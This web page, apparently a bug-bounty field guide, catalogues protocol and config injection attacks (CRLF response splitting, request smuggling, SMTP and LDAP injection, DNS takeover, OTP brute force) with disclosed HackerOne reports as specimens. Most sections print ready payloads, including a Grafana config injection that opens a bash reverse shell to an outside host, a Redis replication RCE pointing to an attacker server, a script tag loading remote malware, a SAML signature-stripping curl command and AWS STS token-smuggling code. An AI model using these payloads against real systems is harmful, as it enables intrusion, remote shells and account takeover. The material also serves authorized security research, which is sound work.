⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued
🔎
Field Guide/Vulnerabilities/Protocol, Config & Infra Injection (long tail)
Vulnerabilities

Protocol, Config & Infra Injection (long tail)

Specimens 218No direct PortSwigger lab

§Basic information

This is the catch-all bucket for bugs that cross a protocol or serialization boundary rather than a single web-vuln taxonomy: a byte you control (usually \r/\n, sometimes a whitespace or Unicode look-alike) is written verbatim into a structured stream — an HTTP header block, an INI/YAML config file, a live SMTP or LDAP session, a proxy's request framing — and reframes that stream into something the parser on the other side treats as new commands, new headers, or a new request. The same class covers the infrastructure long tail: DNS/subdomain takeover, unthrottled brute-force of sensitive gates, and TLS/cert-validation logic that returns success while skipping the check.

The recurring, transferable primitive is "a sink that trusts a data type, or a field its sibling fields don't." A sanitizer written for a String stops running when a framework upgrade starts passing an Array (#2279572); one config field skips the newline check every other field enforces (#1054282, #1200647); one code path narrows a Unicode code point to a raw CR byte after the ASCII filter already ran (#409943). These are low-severity-looking primitives that chain to the highest-impact outcomes in the corpus — a single \r\n in a Grafana SMTP password field became RCE (#1200647).

§Methodology

  1. Identify the boundary your input crosses. Not "is this reflected" but into what stream — an HTTP response header, a config-file line, an SMTP/LDAP command, a proxy's request framing, a DNS delegation.
  2. Fire an inert canary for that boundary (CRLF, an OWS-before-colon, a quoted-comment email, an X-Forwarded-Host) and grep the raw response/logs/error banner for a new line, header, or reflected backend banner.
  3. Enumerate the newline variants separately%0d%0a, lone %0d, lone %0a, folded %0d%0a%09 — because different hops enforce different rules and they are not interchangeable.
  4. Hunt the type/sibling gap. Whenever a value type-dispatches (case value when Array … when /\n/ …) or one field's validation differs from its siblings, that branch is the hole.
  5. Escalate to the boundary's native impact — response splitting → XSS, config-section injection → RCE, SMTP/RESP smuggling → send-as/webshell, cache poisoning → mass/stored.
  6. For infra (DNS, brute gates, TLS), the "canary" is enumeration: dig NS, an Intruder run against a re-auth endpoint, a --curves error path.
# CRLF canary — append to any param/path that lands in Location or Set-Cookie GET /redirect?url=/next%0d%0aSet-Cookie:crlf=1%0d%0aX-Injected:1 HTTP/1.1 Host: TARGET # tell: the response shows a NEW header line you control, or a second Set-Cookie appears

§Injection contexts

Find which boundary your input reaches, then use the matching breakout.

CRLF into an HTTP response header

Any parameter, path segment, or header value reflected into Location/Set-Cookie/a canonical link. Inject \r\n to add headers; \r\n\r\n to break into the body and plant XSS.

GET /path%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e HTTP/1.1 Host: TARGET # behind a CDN this whole 2nd response is CACHED -> stored/mass XSS (verify X-Cache: HIT)
● NOTE
Re-test header injection after a framework major upgrade. Rack 3 began passing header values as Array elements; pitchfork's append_header only stripped newlines in its String branch, so the when /\n/ guard became unreachable and a "fixed" response-splitting bug silently reopened (#2279572, CVE-2025-30221).

CRLF into a config-file serializer

A setting whose value lands in an INI/YAML/env file. A newline lets you start a new section and set non-exported keys the UI never exposes — the highest-value variant.

# Grafana SMTP password -> injects a hidden renderer section -> RCE (#1200647) "password": "x\r\n[plugin.grafana-image-renderer]\r\nrendering_args=--renderer-cmd-prefix=bash -c bash$IFS-l$IFS>$IFS/dev/tcp/COLLAB/4444$IFS0<&1$IFS2>&1" # then: GET https://INSTANCE.TARGET/render/x # fires the renderer -> reverse shell

CRLF into an internal protocol connector (gopher-style)

A config field or URL that reaches an internal service connector lets you frame the target protocol (RESP/SMTP/postgres) with URL-encoded CRLF and speak it to localhost.

# ownCloud LDAP password field skipped the newline check its siblings enforced (#1054282) # Redis RCE via replication: CRLF-framed RESP over the connector %0D%0ASLAVEOF%20COLLAB%206666%0D%0Aconfig%20set%20dbfilename%20exp.so%0D%0Aquit%0D%0A # attacker Redis serves exp.so -> MODULE LOAD ./exp.so -> system.exec

Newline into a live SMTP session

An attacker-supplied email address placed into an already-authenticated RCPT TO:<…> without stripping \r\n. Wrap the payload so it passes the app's email regex yet still emits a newline to the server.

# quoted local part / (comment) satisfies the validator, still injects (#1509216) {"email":"\">\r\nEHLO a\r\nRCPT TO:<a@a.com>\"@b.com"} # tell: the SMTP server's own error banner reflects back (non-blind) -> injection confirmed

Whitespace-before-colon proxy desync

Don't only vary TE/CL values — vary the optional whitespace (OWS) around the colon, an octet class RFC 7230 forbids but hops disagree on. A front proxy (Squid) and the downstream actor split the header block differently → smuggling.

POST /?t=41 HTTP/1.1 Host: TARGET Content-Length: 92 Transfer-Encoding\x0b: chunked 0 GET /foo.html?t=42 HTTP/1.1 Host: TARGET GET /bar.html?t=43 HTTP/1.1 Host: TARGET # \x0b is a RAW vertical-tab byte (0x0B) placed BEFORE the colon — that stray OWS # is the whole desync: Squid strips it and honours Transfer-Encoding (chunk-decodes, # stops at "0"), while the downstream sees an unknown header name and falls back to # Content-Length. Set Content-Length to the exact byte count of everything after the # blank line. Also try a space, \t (0x09), \f (0x0C), or \r before the colon.

Unicode narrowing to CRLF

When ASCII CR/LF is filtered, high code points whose low byte is 0x0d/0x0a reconstitute when the string is narrowed to bytes at the socket. Same trick works on any layer doing lossy Unicode→byte conversion.

// Node http.get (<v10) narrowed U+0120/U+010D/U+010A to 0x20/0x0d/0x0a (#409943) http.get('http://127.0.0.1:8000/?p=x\u{0120}HTTP/1.1\u{010D}\u{010A}Host:\u{0120}127.0.0.1\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private'); // the narrowed bytes form real CRLF -> a smuggled second request

DNS / subdomain takeover

Enumerate NS/CNAME per subdomain and look for a delegation with no live backing zone. NS-level takeover is broader than CNAME — you own every record in the zone.

dig NS api.SUB.TARGET.io # -> ns-*.awsdns-* with no live hosted zone (#746000) aws route53 create-hosted-zone --name api.SUB.TARGET.io --caller-reference $(date +%s) # recreate until the assigned NS set matches the dangling delegation -> publish MX/A/TXT

Unthrottled sensitive gates

Re-auth prompts and OTP flows that lack the rate limiting the main login has. Test verify and resend as a pair — throttling verify is meaningless if resend refreshes the code and resets the attempt budget.

POST /api/passenger/v2/profiles/activate HTTP/1.1 # 3 tries per code POST /api/passenger/v2/profiles/activationsms HTTP/1.1 # resend: no limit -> resets attempts # a 4-digit code (0000-9999) is exhausted within hours -> passwordless ATO (#205000)

§Bypasses

Each tagged with the report it came from.

Filter / controlBypassSeen in
String-only newline guardRack 3 passes header values as Array; the when /\n/ branch is unreachable, so no sanitization runs#2279572
App-side email validatorquoted local part / (comment) satisfies the regex yet still emits \r\n to the SMTP server#1509216
ASCII CRLF filterUnicode code points (Ġ/č/Ċ) narrowed to 0x20/0x0d/0x0a at the socket#409943
Sibling-field newline checkone config field (LDAP/SMTP password) skipped the check every other field enforced#1054282, #1200647
Lone \r blocked by nginxuse full \r\n or a lone \n — nginx forwards both but blocks a bare \r#2279572
CRLF stripped in header valuefolded-header continuation %0d%0a%09<name>:<value> (leading TAB)#858650
Cache not keyed on headerloop requests with X-Forwarded-Host until cached, then drop the header — the value persists#977851
RFC-strict header parsinginvalid OWS / pseudo-space before the colon (\t \x0b \f \r) desyncs the hops#758445
Basic-auth "gate"Django DRF /api-auth/login/ reachable even after cancelling the basic-auth prompt#128114
C error-path result reuseearly result=0 makes a later bare goto out return CURLE_OK, skipping cert verify#2410774
Username uniqueness checkUnicode confusables & invisibles bypass validation → impersonation/collision#3434156
AWS STS token validationcase-collision parameter smuggling bypasses the validation check#1580493
▲ WARNING
A reflected header injection or self-only stored payload is worth little on its own. It becomes a finding when it crosses to a victim: response splitting behind a cache/CDN turns self-only reflected XSS into stored/mass XSS (#192749, #977851), and same-site cookie tossing (Domain=.target, scoped Path=) fires a CSP-less HTML preview as the victim (#3594137). Report the delivery vector with the primitive.

§Escalation & impact

Almost every headliner here is a stepping stone, not the destination:

§Prevention

§Tools

Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 218 in this class.

Real-world example

Bad whitespace before header colon -> Squid response splitting/smuggling

◆ Critical
Specimen #758445 · ibb · awarded · 74 votes · resolved
Program ibbSurface webChain Header-name whitespace -> parser desync -> cache poisoTag cors

Root cause

Squid 3.x/4.x accepted invalid whitespace/pseudo-space (space, \t, \f, \v, lone \r) between a header field-name and its colon, which RFC 7230 forbids, causing it to parse header boundaries differently from downstream actors and split/smuggle requests.

Method

  1. Put a proxy/cache (Squid) in front and send a request with e.g. 'Transfer-Encoding\x0b: chunked'
  2. Squid mis-parses the framing while the front actor sees standard headers (desync)
  3. Craft a body that Squid interprets as an extra request -> extra/poisoned responses
POST /?t=41 HTTP/1.1 Host: dummy-host.example.com Content-Length: 92 Transfer-Encoding : chunked 0 GET /foo.html?t=42 HTTP/1.1 Host: dummy-host.example.com GET /bar.html?t=43 HTTP/1.1 Host: dummy-host.example.com # also try: Transfer-Encoding\t: / \f: / \r: / \t\x0b \r\f:

Insight — When probing smuggling, don't only vary TE/CL values -- vary the whitespace/pseudo-space around the colon (\t \x0b \f \r). Parser disagreements on OWS placement are a rich desync source.

Real-world example

CRLF in SMTP config -> set hidden Grafana rendering_args -> RCE

◆ Critical
Specimen #1200647 · aiven_ltd · 5000 · 72 votes · resolved
Program aiven_ltdSurface webChain CRLF in SMTP password -> config-section injection -> rTag account-takeover

Root cause

Grafana's SMTP password setting accepted newline characters, and because the config was serialized into an INI-like file, \r\n let an attacker start a new [plugin.grafana-image-renderer] section and set non-exported keys (rendering_args) that are not exposed in the UI, injecting a command prefix executed by the renderer.

Method

  1. Set the Grafana SMTP server password via the provider API to a value containing \r\n
  2. Inject a new config section + rendering_args with a renderer-cmd-prefix that runs a shell
  3. Browse to /render/... to trigger the image renderer and fire the reverse shell
"password": "x\r\n[plugin.grafana-image-renderer]\r\nrendering_args=--renderer-cmd-prefix=bash -c bash$IFS-l$IFS>$IFS/dev/tcp/SERVER_IP/4444$IFS0<&1$IFS2>&1" # then GET https://INSTANCE.aivencloud.com/render/x

Insight — A newline-accepting config field is a CRLF vector into the config file itself: you can reach 'hidden'/non-exported settings the UI never exposes. Look for any setting that lands in an INI/YAML/env file.

Real-world example

Client-side-only auth: 200-before-redirect leaks GraphQL endpoint

◆ Critical
Specimen #397130 · shopify · awarded · 61 votes · resolved
Program shopifySurface graphqlTag graphql

Root cause

An internal app behind Okta returns HTTP 200 with the full SPA/JS before performing a client-side redirect to the IdP. Reading the page via view-source and its bundled JS reveals a /graphql endpoint that enforces no server-side auth, allowing a full dump of Zendesk tickets.

Method

  1. Open the Okta-'protected' app with view-source: to read the body served before the JS redirect
  2. Beautify the referenced main.js and extract API paths and GraphQL queries
  3. Call /graphql directly (no session) with the harvested query
curl -s -X POST https://athena-flex-production.TARGET.com/graphql \ -H 'Content-Type: application/json' \ --data-binary '{"query":"query($domain:String){shop(myshopifyDomain:$domain){zendesk{tickets(last:5){edges{node{id subject description requester{name}}}}}}}","variables":{"domain":"ok.myshopify.com"}}'

Insight — A redirect to SSO is not authentication. If the server returns 200 + body before redirecting, the app content and its APIs are reachable. Always view-source and mine JS bundles for endpoints/keys.

Real-world example

Helpdesk/issue-by-email address abused to pass email-domain auth

◆ Critical
Specimen #218230 · gitlab · none · 54 votes · resolved
Program gitlabSurface webTag account-takeover

Root cause

GitLab Slack allowed anyone with an @gitlab.com email to self-join. GitLab's 'create issue by email' feature assigns each user a unique incoming+...@gitlab.com address, which receives mail as issues -> the Slack verification email lands in the attacker's project, granting them a verified @company.com identity.

Method

  1. Find a service that gives you a @company.com-delivering address (issue-by-email, helpdesk incoming, mailing list)
  2. Sign up for the domain-gated service (Slack/Workplace/Yammer) with that address
  3. Read the verification email as it arrives (as an issue/ticket)
  4. Click verify, set 2FA, and join
incoming+<user>/<project>+<token>@gitlab.com # receives mail as new issues

Insight — Any feature that turns an inbound email into readable content on a @company.com address defeats 'must have company email' gates for SSO/Slack/Workplace. Hunt incoming-email and helpdesk addresses.

Real-world example

PrimeFaces weak-encryption padding/EL-injection to RCE

◆ Critical
Specimen #874924 · deptofdefense · none · 9 votes · resolved
Program deptofdefenseSurface webChain Weak/hardcoded crypto key -> forged encrypted EL expressi

Root cause

PrimeFaces 5.x ships a hardcoded/weak default crypto key used to protect the client-side ViewState/primefaces resource parameter; knowing it lets an attacker forge an encrypted EL expression that the server decrypts and evaluates, yielding remote code execution.

Method

  1. Fingerprint PrimeFaces version (JS/resource paths, primefaces.js)
  2. If 5.x, run the public exploit to send a forged encrypted EL payload
  3. Confirm RCE (e.g. whoami)
python primefaces.py https://TARGET/ # ref exploit: github.com/pimps/CVE-2017-1000486

Insight — Library/framework version fingerprinting maps to known weak-crypto CVEs; PrimeFaces 5.x default AES key -> EL injection RCE. Always fingerprint front-end frameworks and check for hardcoded/default crypto secrets.

Real-world example

Stored XSS via filename in HTTP directory listing

◆ Critical
Specimen #309648 · nodejs-ecosystem · none · 8 votes · resolved
Program nodejs-ecosystemSurface webTag file-upload

Root cause

A directory-listing server concatenates each filename directly into <li><a href="item">item</a>; a filename that is a javascript: URI or HTML becomes executable when listed/clicked.

Method

  1. Create a file whose NAME is the payload
  2. Serve the directory
  3. Load the listing; click the file -> javascript: executes
javascript:alert('You are pwned!') # used as the file name

Insight — Filenames are attacker-controlled data. Any app that echoes filenames (dir listings, upload managers, log viewers) into HTML/href without encoding is XSS-prone; test with javascript:/HTML filenames.

Real-world example

Stored XSS via scraped Open Graph metadata (metascraper)

◆ Critical
Specimen #309367 · nodejs-ecosystem · none · 7 votes · resolved
Program nodejs-ecosystemSurface web

Root cause

A metadata-scraping library extracts Open Graph/HTML meta properties from an arbitrary attacker-controlled URL and returns them unsanitized; when a consumer app renders those fields into HTML (link previews), attacker JS executes in the consumer's origin.

Method

  1. Host a page with a malicious og:* meta property (e.g. og:site_name = <script src=...>)
  2. Get the victim app to scrape/preview that URL
  3. Payload renders when the preview is displayed
<meta property="og:site_name" content='<script src="http://attacker/malware.js"></script>'> # metascraper returns publisher: '<script ...></script>' -> app inserts into HTML

Insight — URL-preview / link-unfurl / scraping features are stored-XSS vectors: the attacker controls the remote page's metadata. Any feature that fetches a user-supplied URL and renders its title/description/image must output-encode. CVE-2018-3773.

Real-world example

Non-constant-time memcmp on crypto secrets in C++ (Monero RingCT)

◆ Critical
Specimen #363680 · monero · none · 6 votes · resolved
Program moneroSurface other

Root cause

Cryptographic key structs and equalKeys()/CRYPTO_MAKE_COMPARABLE used memcmp (early-exit) rather than constant-time comparison, so comparison timing leaks how many bytes of a secret/signature match, enabling forgery/leakage of RingCT key material.

Method

  1. Audit crypto code for memcmp/==/optimizable branch comparisons on keys/signatures
  2. Note early-exit timing dependence
  3. Recover secret bytes via timing (local malicious node or measurable path)
# fix idea: r=0; for i: r |= a[i]^b[i]; return r==0; // constant-time, no early exit

Insight — Grep C/C++ crypto for memcmp/std::equal/== on secret buffers; never memcmp cryptographic material. Same timing-leak class as high-level '==' HMAC checks (#224096) but at the native library level.

Real-world example

Signed integer underflow in image Huffman decoder -> OOB heap write (ImageMagick, 32-bit)

◆ Critical
Specimen #816637 · ibb · awarded · 1 votes · resolved
Program ibbSurface otherTag file-upload

Root cause

HuffmanDecodeImage() uses signed long counters (x, count) while decoding Fax/Huffman-coded image data; crafted code lengths (0..2560) drive these signed values negative, producing an integer underflow that is used as a write index/length, giving an out-of-bounds heap write likely exploitable for code execution. Practical on 32-bit where a few-MB file suffices.

Method

  1. Craft a Fax/Group3/4 or Huffman image whose run/code lengths push a signed length counter below zero
  2. Feed it to the decoder (image load path)
  3. Underflowed signed value is used as an offset/size -> OOB write past the row/image buffer

Insight — Media/codec parsers that mix signed counters with attacker-controlled run-lengths are a rich OOB-write source; on 32-bit the required file size to reach the overflow is small (compression further shrinks the trigger). Grep decoders for signed long/int length or index vars that accumulate from file data without clamping.

Real-world example

Self-invite into private call via unauthorized invite endpoint

◆ High
Specimen #184698 · slack · 1000 · 68 votes · resolved
Program slackSurface webTag account-takeover

Root cause

The call-invite API (/api/screenhero.rooms.invite) does not verify that the caller is a participant of the target room; supplying an arbitrary room ID and responder user ID adds an attacker-controlled account to any ongoing private call.

Method

  1. Start your own call and capture the POST to /api/screenhero.rooms.invite
  2. Obtain the victim room ID (visible in /call/<ROOMID> URLs)
  3. Replay the request with room=<victim room> and responder=<attacker second account> (cannot be self)
  4. Accept the incoming call to join and eavesdrop
POST /api/screenhero.rooms.invite?_x_id=... HTTP/1.1 Host: TEAM.slack.com is_video_call=false&responder=U_ATTACKER2&room=R_VICTIMROOM&set_active=true&should_share=true&token=<xoxs>

Insight — Real-time / call / room join endpoints often authorize the action but not membership of the target room. Fuzz room and participant IDs on invite/join APIs.

Real-world example

Case-collision parameter smuggling bypasses STS token validation

◆ High
Specimen #1580493 · kubernetes · 2500 · 67 votes · resolved
Program kubernetesSurface apiTag cloud-aws

Root cause

aws-iam-authenticator lowercases query-parameter keys into a whitelist map but forwards the original (mixed-case duplicate) params to STS. Sending Action & action (or duplicate x-amz-credential) lets an attacker control which value the validator sees vs. what STS honors, breaking cluster-ID binding and letting AccessKeyID be injected into the K8s username/group mapping.

Method

  1. Craft a presigned STS GetCallerIdentity URL
  2. Append a duplicate param differing only in case (e.g. remove signed x-amz-signedheaders=x-k8s-aws-id then re-append it unsigned)
  3. Base64url-encode as k8s-aws-v1.<url> token
  4. POST to /authenticate; retry (map iteration order is nondeterministic)
import base64,re # token without signed cluster-id header (replay across clusters): url=f'https://sts.{REGION}.amazonaws.com/?Action=GetCallerIdentity&Version=2011-06-15&x-amz-signedheaders=x-k8s-aws-id' signed=get_bearer_token(url, headers={}) signed=signed.replace('&x-amz-signedheaders=x-k8s-aws-id','')+'&x-amz-signedheaders=x-k8s-aws-id' token='k8s-aws-v1.'+re.sub(r'=*','',base64.urlsafe_b64encode(signed.encode()).decode())

Insight — Whenever a validator normalizes (lowercase/trim/decode) a key or value that a downstream service parses differently, you can smuggle a second value. Test duplicate params differing only by case/encoding.

Real-world example

OTP/2FA login-code brute force via unlimited resend

◆ High
Specimen #205000 · grab · awarded · 67 votes · resolved
Program grabSurface mobile-androidChain OTP brute -> login without password -> full account taTag account-takeover

Root cause

Login-by-phone accepts a 4-digit SMS OTP with only a 3-attempt cap per code, but the resend endpoint has no rate limit (only a 30s timer). Resending refreshes the code and resets the attempt budget, so the attacker gets effectively unlimited guesses against a tiny 0000-9999 keyspace.

Method

  1. Target a phone number's login/activation flow
  2. Submit up to the per-code attempt cap of guesses
  3. Call the resend endpoint (every 30s) to issue a fresh code and reset attempts
  4. Repeat; a 4-digit code is exhausted within hours/days -> session granted
POST /api/passenger/v2/profiles/activate # 3 tries per code POST /api/passenger/v2/profiles/activationsms # resend, no rate limit -> resets attempts

Insight — Rate limiting on OTP verify is meaningless if resend is unthrottled. Always test verify + resend as a pair; short numeric codes + resend = account takeover.

Real-world example

Password reset token sent over cleartext HTTP

◆ High
Specimen #206650 · automattic · awarded · 67 votes · resolved
Program automatticSurface webTag account-takeover

Root cause

Password-reset emails build the reset URL with an http:// scheme (and route through an http tracking redirector), so the reset token traverses the network in cleartext and is captured by a network MITM.

Method

  1. Request a password reset
  2. Inspect the emailed link scheme (http vs https) and any click-tracking redirector
  3. Sniff traffic (e.g. Wireshark) when the link is opened to recover the reset token in cleartext
http://en.TARGET.com/register/reset/<TOKEN>?email=<victim> # delivered via http://mandrillapp.com/track/click/.../TARGET.com?p=<token>

Insight — Check the scheme of every emailed security link and any tracking-redirect wrapper; http links (or http redirectors in front of https) leak tokens to MITM.

Real-world example

Hyperledger fabric-ca admin brute force via insecure defaults

◆ High
Specimen #411364 · hyperledger · awarded · 61 votes · resolved
Program hyperledgerSurface apiTag cloud-aws

Root cause

fabric-ca server ships with maxenrollments=-1 (unlimited external enrollment), binds 0.0.0.0:7054, and enforces no wrong-password lockout, so the bootstrap admin identity is brute-forceable over the network.

Method

  1. Locate an exposed fabric-ca server (0.0.0.0:7054)
  2. Brute the admin enroll credentials (no lockout, unlimited enrollments)
  3. Enroll as admin -> add/delete/update/query network identities
fabric-ca-client enroll -u https://admin:GUESS@TARGET:7054

Insight — For infra CAs/registries, check the default config trio: unlimited enroll, wildcard bind, no lockout. Insecure-by-default deployment is the bug.

Real-world example

SAML auth bypass by omitting the signature element

◆ High
Specimen #136169 · uber · 10000 · 58 votes · resolved
Program uberSurface webTag samlTag account-takeover

Root cause

The onelogin-saml-sso plugin's isValid() only verifies the signature inside 'if (!empty($signedElements))'. A SAMLResponse with the <ds:Signature> element removed has no signed elements, so the check is skipped and any self-crafted assertion is accepted, letting the attacker set username/email/role (admin) freely.

Method

  1. Take a valid OneLogin SAML response and strip the <ds:Signature> element
  2. Set NameID/User.Username/email and memberOf=Administrator to desired values
  3. Base64-encode and POST to the ACS endpoint with RelayState
  4. Receive WP auth cookies as the chosen (admin) user
xml=`base64 response.xml` curl -v 'https://TARGET/wp-content/plugins/onelogin-saml-sso/php/saml/onelogin_saml.php?acs' \ --data 'RelayState=/wp-login.php' --data-urlencode "SAMLResponse=$xml" # response.xml: valid assertion with <ds:Signature> removed, memberOf=Administrator

Insight — Test every SAML SP by deleting the signature entirely (not just tampering it): many verify 'if signature present' rather than 'require signature'. Also try unsigned assertion inside signed response, and comment/XSW tricks.

Real-world example

Bruteforce the 'confirm current password' re-auth gate

◆ High
Specimen #970157 · x · awarded · 58 votes · resolved
Program xSurface webChain Session hijack -> brute re-auth password gate -> passwTag account-takeover

Root cause

The change-password flow requires re-entering the current password as an anti-session-hijack measure, but that verification endpoint is not rate limited, so an attacker with a hijacked session brutes the old password and completes the change -> full ATO.

Method

  1. With a hijacked/borrowed session, start Settings -> Password change
  2. Submit an arbitrary current password and capture the verify request
  3. Intruder-brute the old-password field (no rate limit)
  4. On success, set a new password
POST /settings/password (verify current_password field) # old_password = <intruder payload list>, no lockout

Insight — Sensitive-action re-auth prompts (change password/email, delete, payout) are frequently missing the rate limiting the main login has. Always brute them.

Real-world example

Open Firebase RTDB extracted from Android app

◆ High
Specimen #1065134 · zego · none · 58 votes · resolved
Program zegoSurface mobile-androidTag cloud-gcpTag file-upload

Root cause

The Android app hardcodes firebase_database_url in res/values/strings.xml and the Realtime Database rules allow public read/write, so appending /.json reads all data and PUT writes arbitrary data.

Method

  1. Decompile the APK; grep strings.xml for firebase_database_url
  2. Fetch https://<db>.firebaseio.com/.json to confirm public read
  3. PUT JSON to /.json to confirm public write
import requests requests.put('https://<PROJECT>.firebaseio.com/.json', json={'poc':'writable'}) # read: curl https://<PROJECT>.firebaseio.com/.json

Insight — Standard mobile recon: pull firebase_database_url / google_api_key from strings.xml and test /.json read+write. Also test /<node>.json for auth-scoped nodes.

Real-world example

JWT algorithm-confusion RS256->HS256

◆ High
Specimen #3800870 · 8x8-bounty · 1337 · 55 votes · resolved
Program 8x8-bountySurface apiTag jwt

Root cause

The v1 API JWT verifier did not pin the algorithm and accepted HS256 tokens signed with the RSA public key (used as the HMAC secret). Knowing the public key, an attacker forges HS256 tokens the server verifies as valid (read-only endpoints here; state-changing ones independently rejected).

Method

  1. Obtain the server's RSA public key (JWKS / cert)
  2. Change the token header alg to HS256
  3. HMAC-SHA256 the token using the PEM public key as the secret
  4. Submit to a v1 endpoint that verifies with the same key
# with the public key in pub.pem: jwt_tool <token> -X k -pk pub.pem # or manually: HS256(header.payload, key=pubkey_pem)

Insight — Any RS256 verifier that doesn't pin alg is vulnerable to HS256 confusion. Always try alg swap using the fetched/derived public key as HMAC secret; test read vs write endpoints separately.

Real-world example

Response-body tampering to bypass client-side auth check

◆ High
Specimen #1539426 · ups · none · 54 votes · resolved
Program upsSurface webTag account-takeover

Root cause

The SendTempPassword/login flow makes an authorization decision on the client from a JSON response field. Intercepting the response and flipping status:false to status:true convinces the SPA the user is valid/authorized, unlocking /resetPassword and the admin panel.

Method

  1. Trigger the auth/temp-password request with any username
  2. Intercept the HTTP response in the proxy
  3. Change status:false to status:true (and similar boolean/role fields)
  4. Proceed to the now-unlocked page (/resetPassword, admin panel)
# response rewrite {"status":false,...} -> {"status":true}

Insight — When auth state is decided client-side, use proxy response interception to flip booleans/roles (isAdmin, success, authenticated). The fix is server-side authorization.

Real-world example

Brute force via unthrottled WebDAV basic-auth endpoint

◆ High
Specimen #1879549 · nextcloud · awarded · 53 votes · resolved
Program nextcloudSurface apiTag account-takeover

Root cause

Nextcloud's brute-force protection guarded the web login but not the WebDAV endpoints (/remote.php/dav/...), which accept HTTP Basic auth. The username is exposed in the shared/private link URL, so passwords can be brute-forced there without throttling -> full ATO. (CVE-2023-32319)

Method

  1. Obtain a private/shared DAV link (username is embedded in the path)
  2. Open it, get the Basic auth prompt, capture the request
  3. Decode the Authorization: Basic header (base64 user:pass)
  4. Intruder-brute the password on the DAV endpoint (no rate limit) until 200
GET /remote.php/dav/calendars/VICTIM@example.com/... HTTP/1.1 Authorization: Basic base64(VICTIM@example.com:PASSWORD)

Insight — Rate limiting is often per-endpoint. If the login is protected, test API/WebDAV/basic-auth/mobile endpoints for the same account - they frequently skip the throttle.

Real-world example

Stored XSS via chained server-side + frontend sanitizer bypass

◆ High
Specimen #1398305 · gitlab · $3000 · 38 votes · resolved
Program gitlabSurface web

Root cause

Two independent sanitizer gaps chained: SyntaxHighlightFilter builds HTML by string-interpolating unsanitized data-sourcepos into a <pre> tag (server-side filter bypass), and the gl-emoji custom element re-emits its name attribute into an <img> title/alt, bypassing the gitlab-ui v-safe-html directive (frontend bypass).

Method

  1. Post a comment containing a crafted markdown/HTML payload
  2. The SyntaxHighlightFilter emits unsanitized data-sourcepos into a pre tag
  3. A gl-emoji element with a payload in data-name re-renders into an img tag with onload, escaping v-safe-html
  4. Anyone viewing the issue/comment executes the script
<pre data-sourcepos="&#34; href=&#34;x&#34;></pre> <gl-emoji data-name='&#34;x=&#34y&#34 onload=&#34;alert(document.location.href)&#34;' data-unicode-version='x'> abc </gl-emoji> <pre x=&#34;"> <code></code></pre>

Insight — Custom elements (like gl-emoji) that reflect their attributes back into innerHTML are a reliable way to defeat directive-based sanitizers (v-safe-html/DOMPurify wrappers). Look for server-side HTML built by string interpolation of any 'trusted' metadata attribute.

Real-world example

accept-invite authorization bypass granting admin -> stored XSS

◆ High
Specimen #152067 · uber · $5000 · 37 votes · resolved
Program uberSurface webChain accept-invite IDOR/authz bypass -> project admin -> byTag account-takeover

Root cause

The third-party docs platform (readme.io) that powered developer.uber.com let any verified user POST to /api/accept-invite/<id> and be granted project admin despite an 'Invite doesnt exist' response; admins can inject arbitrary JS into docs pages by design, yielding stored XSS.

Method

  1. Fetch the target's project ID from the platform source
  2. Create and verify a normal account on the docs platform
  3. POST /api/accept-invite/<invite_id> with your session/CSRF token
  4. Despite an error response, you now have admin on the victim project
  5. Inject JS into documentation pages for stored XSS on the branded domain
POST /api/accept-invite/5617f98f7f74330d00dfd86d HTTP/1.1 Host: dash.readme.io X-XSRF-TOKEN: <your token> Cookie: <your cookies> {}

Insight — Recon the SaaS/third-party platforms behind a brand's subdomains; broken invite/membership endpoints are a common authz bypass, and doc/CMS platforms often allow admins to inject JS by design, converting an access-control bug into stored XSS.

Real-world example

Stored XSS by injecting raw HTML into a WebSocket frame

◆ High
Specimen #615672 · quantopian · $2100 · 37 votes · resolved
Program quantopianSurface web

Root cause

A real-time collaboration feature (TogetherJS) HTML-encoded payloads in the browser before sending, but the server/relay re-broadcast them without encoding, so intercepting the WebSocket frame and inserting raw HTML executed in every collaborator's browser.

Method

  1. Join a collaboration session and start typing in the shared editor
  2. Intercept the outgoing WebSocket message (which normally carries encoded HTML)
  3. Replace the value with raw <img src=x onerror=...>
  4. The relayed frame renders unencoded in collaborators' browsers
<img src=x onerror=alert(1)>

Insight — Client-side encoding is not a control. When output looks safe in the UI, intercept the transport (WebSocket/postMessage/API body) and inject raw markup - the server often trusts the client-encoded value and re-emits it verbatim.

Real-world example

Stored XSS via attribute breakout in URL field with client-only validation

◆ High
Specimen #333008 · reverb · awarded · 36 votes · resolved
Program reverbSurface web

Root cause

A SoundCloud link field (product[soundcloud_link_attributes][link]) was output unescaped inside an HTML attribute; validation was client-side only, so intercepting the save request and appending an attribute-breakout payload to a valid URL stored executable JS on the public listing.

Method

  1. Enter a valid soundcloud.com URL so client validation passes
  2. Intercept the Save request
  3. Tamper the link param to append a valid URL + attribute breakout payload
  4. The listing stores and renders it, executing for every visitor
https://soundcloud.com/rich-the-kid/sets/the-world-is-yours-15?fuzzing" onload=alert(document.domain) x="

Insight — When a field enforces a URL format, the check is usually client-side; submit a valid value then intercept and append " onEVENT=... x=" to break out of the attribute. Fields storing 'external service links' are common stored-XSS sinks.

§References & practice

  1. No dedicated PortSwigger lab for this class; use the methodology above and the cited reports.
  2. All 218 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains · payload libraries · methodology.